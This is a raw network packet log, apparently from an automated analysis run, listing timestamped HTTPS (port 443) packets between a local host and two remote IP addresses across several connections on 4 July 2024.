Jul 4, 2024 20:16:02.076723099 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.077721119 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.077734947 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.077780962 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.077791929 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.078075886 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.078135967 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.078140974 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.078380108 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.078438044 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.078442097 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.079173088 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.079226017 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.079236031 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.080159903 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.080214977 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.080220938 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.080857038 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.080914974 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.080919981 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.130026102 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.171982050 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.171997070 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.172238111 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.172255039 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.172511101 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.172543049 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.172569990 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.172576904 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.172604084 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.173051119 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.173105955 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.173111916 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.173355103 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.173407078 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.173413038 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.173935890 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.173989058 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.173995018 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.174206972 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.174259901 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.174264908 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.174766064 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.174815893 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.174822092 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.174984932 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.175036907 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.175041914 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.175687075 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.175740004 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.175746918 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.175901890 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.175955057 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.175960064 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.176568031 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.176620007 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.176625013 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.176862001 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.176909924 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.176914930 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.177387953 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.177422047 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.177426100 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.177432060 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.177464008 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.177475929 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.177516937 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.177867889 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.188774109 CEST	49720	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:02.188811064 CEST	443	49720	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:02.188992977 CEST	49720	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:02.189409018 CEST	49720	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:02.189421892 CEST	443	49720	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:02.796361923 CEST	443	49720	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:02.798953056 CEST	49720	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:02.798979044 CEST	443	49720	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:02.962301970 CEST	443	49720	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:02.962379932 CEST	443	49720	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:02.962510109 CEST	49720	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:02.963238001 CEST	49720	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:02.965091944 CEST	49721	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.965138912 CEST	443	49721	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.965234041 CEST	49721	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.965581894 CEST	49721	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.965599060 CEST	443	49721	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:03.564778090 CEST	443	49721	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:03.566662073 CEST	49721	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:03.566678047 CEST	443	49721	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:04.510973930 CEST	443	49721	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:04.511063099 CEST	49721	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:04.511081934 CEST	443	49721	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:04.511189938 CEST	443	49721	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:04.511245966 CEST	49721	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:04.512084007 CEST	49721	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:04.514000893 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:04.514024019 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:04.514100075 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:04.514389038 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:04.514400959 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.128742933 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.131495953 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.131508112 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.293052912 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.293087959 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.293184042 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.293196917 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.294126034 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.294183969 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.294203997 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.294209957 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.294234991 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.348784924 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.384335995 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.384351015 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.384426117 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.384433985 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.385149002 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.385160923 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.385217905 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.385225058 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.385581970 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.385638952 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.385644913 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.386080980 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.386142015 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.386147022 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.426893950 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.487410069 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.487425089 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.487565041 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.487571955 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.487571955 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.487593889 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.487616062 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.487637043 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.488281012 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.488353968 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.488363028 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.488924026 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.488984108 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.488991022 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.489132881 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.489185095 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.489192963 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.489940882 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.490005970 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.490011930 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.490576982 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.490638018 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.490643978 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.490823984 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.490883112 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.490889072 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.536259890 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.579212904 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.579226971 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.579284906 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.579299927 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.579493999 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.579550028 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.579556942 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.580169916 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.580224991 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.580230951 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.580383062 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.580434084 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.580442905 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.580657959 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.580713987 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.580723047 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.581094980 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.581130028 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.581145048 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.581151009 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.581168890 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.581641912 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.581700087 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.581706047 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.581914902 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.581964970 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.587968111 CEST	49722	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:05.587981939 CEST	443	49722	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:05.594110966 CEST	49723	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:05.594227076 CEST	443	49723	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:05.594327927 CEST	49723	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:05.594544888 CEST	49723	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:05.594594002 CEST	443	49723	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:06.158242941 CEST	443	49723	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:06.160377979 CEST	49723	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:06.160420895 CEST	443	49723	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:06.323271036 CEST	443	49723	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:06.323348999 CEST	443	49723	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:06.323421955 CEST	49723	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:06.323824883 CEST	49723	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:06.325081110 CEST	49724	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:06.325117111 CEST	443	49724	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:06.325206995 CEST	49724	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:06.325463057 CEST	49724	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:06.325478077 CEST	443	49724	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:07.074771881 CEST	443	49724	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:07.076649904 CEST	49724	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:07.076673031 CEST	443	49724	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:07.787399054 CEST	443	49724	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:07.787453890 CEST	49724	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:07.787465096 CEST	443	49724	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:07.787496090 CEST	443	49724	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:07.787534952 CEST	49724	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:07.788319111 CEST	49724	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:07.789858103 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:07.789935112 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:07.790015936 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:07.790252924 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:07.790287018 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.415900946 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.417464018 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.417529106 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.619962931 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.619992018 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.620074034 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.620124102 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.620872021 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.620950937 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.620968103 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.621418953 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.621474981 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.621489048 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.676877975 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.711530924 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.711539984 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.711633921 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.711673021 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.711874008 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.711883068 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.711946011 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.711961031 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.712692022 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.712760925 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.712774992 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.713378906 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.713445902 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.713474035 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.755096912 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.802946091 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.802954912 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.803009033 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.803040028 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.803055048 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.803204060 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.803240061 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.803276062 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.803297997 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.803329945 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.803750992 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.803813934 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.803826094 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.804651976 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.804717064 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.804729939 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.804851055 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.804917097 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.804929972 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.805191040 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.805259943 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.805273056 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.806566000 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.806611061 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.806629896 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.806644917 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.806672096 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.848750114 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.894442081 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.894515991 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.894532919 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.895082951 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.895140886 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.895149946 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.895387888 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.895440102 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.895447016 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.895669937 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.895734072 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.895740986 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.895987034 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.896049023 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.896056890 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.896435976 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.896502018 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.896508932 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.896728992 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.896786928 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.896794081 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.896940947 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.896998882 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.897006035 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.897542953 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.897603035 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.897609949 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.897861958 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.897949934 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.897955894 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.898365974 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.898431063 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.898437977 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.898500919 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.898544073 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.898550034 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.898576021 CEST	443	49726	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:08.898623943 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.898993015 CEST	49726	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:08.909826040 CEST	49727	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:08.909854889 CEST	443	49727	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:08.909921885 CEST	49727	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:08.910140038 CEST	49727	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:08.910152912 CEST	443	49727	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:09.492670059 CEST	443	49727	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:09.494303942 CEST	49727	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:09.494317055 CEST	443	49727	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:09.650027990 CEST	443	49727	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:09.650099039 CEST	443	49727	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:09.650162935 CEST	49727	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:09.650818110 CEST	49727	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:09.652550936 CEST	49728	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:09.652589083 CEST	443	49728	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:09.652697086 CEST	49728	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:09.652949095 CEST	49728	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:09.652961969 CEST	443	49728	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:10.260896921 CEST	443	49728	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:10.263524055 CEST	49728	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:10.263540030 CEST	443	49728	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:10.937594891 CEST	443	49728	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:10.937676907 CEST	443	49728	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:10.937680960 CEST	49728	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:10.937726021 CEST	49728	443	192.168.2.6	13.107.139.11
